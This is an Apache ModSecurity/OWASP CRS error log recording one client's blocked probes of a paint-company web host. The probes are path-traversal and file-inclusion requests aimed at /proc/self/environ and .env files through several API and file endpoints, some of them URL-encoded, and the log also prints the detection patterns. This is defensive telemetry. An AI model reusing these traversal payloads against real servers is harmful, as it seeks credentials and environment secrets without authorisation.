[Sun Oct 25 22:08:48.180539 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at62MPxrZFXBolpOk9S1fgAAAAw"]
[Sun Oct 25 22:08:48.180717 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at62MPxrZFXBolpOk9S1fgAAAAw"]
[Sun Oct 25 22:08:48.180941 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at62MPxrZFXBolpOk9S1fgAAAAw"]
[Sun Oct 25 22:08:48.188536 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/default/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at62MICf_dn79BGji-V_CwAAAAg"]
[Sun Oct 25 22:08:48.188753 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at62MICf_dn79BGji-V_CwAAAAg"]
[Sun Oct 25 22:08:48.188960 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at62MICf_dn79BGji-V_CwAAAAg"]
[Sun Oct 25 22:08:48.251264 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40372] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at62MEDZB1z45uajChfUQgAAAAs"]
[Sun Oct 25 22:08:48.287121 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at62MEDZB1z45uajChfUQgAAAAs"]
[Sun Oct 25 22:08:48.287434 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at62MEDZB1z45uajChfUQgAAAAs"]
[Sun Oct 25 22:08:48.304704 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /%2e%2e/ found within REQUEST_URI_RAW: /cache/original/%2e%2e/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at62MGjDRrdrYxtsLj26hgAAABk"]
[Sun Oct 25 22:08:48.304785 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cache/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at62MGjDRrdrYxtsLj26hgAAABk"]
[Sun Oct 25 22:08:48.304956 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at62MGjDRrdrYxtsLj26hgAAABk"]
[Sun Oct 25 22:08:48.305215 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at62MGjDRrdrYxtsLj26hgAAABk"]
[Sun Oct 25 22:08:48.307810 2026] [security2:error] [pid 2943062:tid 2943062] [client 34.81.7.133:40340] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:file: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at62MBxDSGMTK4da64vVQQAAABg"]
[Sun Oct 25 22:08:48.308183 2026] [security2:error] [pid 2943062:tid 2943062] [client 34.81.7.133:40340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at62MBxDSGMTK4da64vVQQAAABg"]
[Sun Oct 25 22:08:48.308402 2026] [security2:error] [pid 2943062:tid 2943062] [client 34.81.7.133:40340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at62MBxDSGMTK4da64vVQQAAABg"]
[Sun Oct 25 22:08:48.358236 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40356] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /%2e%2e/ found within REQUEST_URI_RAW: /cache/original/%2e%2e/%2e%2e/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62MAo4OiAv7EzdRZ1MCwAAABI"]
[Sun Oct 25 22:08:48.358365 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40356] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62MAo4OiAv7EzdRZ1MCwAAABI"]
[Sun Oct 25 22:08:48.358545 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62MAo4OiAv7EzdRZ1MCwAAABI"]
[Sun Oct 25 22:08:48.358828 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62MAo4OiAv7EzdRZ1MCwAAABI"]
[Sun Oct 25 22:08:48.371213 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MILcv9dw313oUE99_AAAAAM"]
[Sun Oct 25 22:08:48.371278 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MILcv9dw313oUE99_AAAAAM"]
[Sun Oct 25 22:08:48.371307 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MILcv9dw313oUE99_AAAAAM"]
[Sun Oct 25 22:08:48.371689 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MILcv9dw313oUE99_AAAAAM"]
[Sun Oct 25 22:08:48.371918 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MILcv9dw313oUE99_AAAAAM"]
[Sun Oct 25 22:08:48.398330 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MLZn9l1fDWzMN3C82wAAAAQ"]
[Sun Oct 25 22:08:48.398388 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MLZn9l1fDWzMN3C82wAAAAQ"]
[Sun Oct 25 22:08:48.398419 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MLZn9l1fDWzMN3C82wAAAAQ"]
[Sun Oct 25 22:08:48.398758 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MLZn9l1fDWzMN3C82wAAAAQ"]
[Sun Oct 25 22:08:48.398980 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MLZn9l1fDWzMN3C82wAAAAQ"]
[Sun Oct 25 22:08:48.438127 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at62MICf_dn79BGji-V_DAAAAAg"]
[Sun Oct 25 22:08:48.438187 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at62MICf_dn79BGji-V_DAAAAAg"]
[Sun Oct 25 22:08:48.438218 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at62MICf_dn79BGji-V_DAAAAAg"]
[Sun Oct 25 22:08:48.438787 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at62MICf_dn79BGji-V_DAAAAAg"]
